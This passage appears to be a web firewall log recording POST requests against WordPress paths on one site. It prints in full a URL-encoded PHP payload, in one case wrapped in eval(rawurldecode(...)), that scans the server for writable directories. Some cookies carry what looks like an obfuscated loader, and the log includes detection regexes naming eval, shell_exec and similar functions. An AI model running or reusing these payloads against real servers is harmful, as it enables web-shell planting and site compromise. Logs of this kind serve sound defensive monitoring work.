Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nOw=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:21:20","147.135.37.185","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Jr:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFaVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:4400\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nJr=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:21:21","185.16.36.161","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4423\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 10:21:26","43.230.201.87","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Dx:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEUtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:4400\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nDx=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%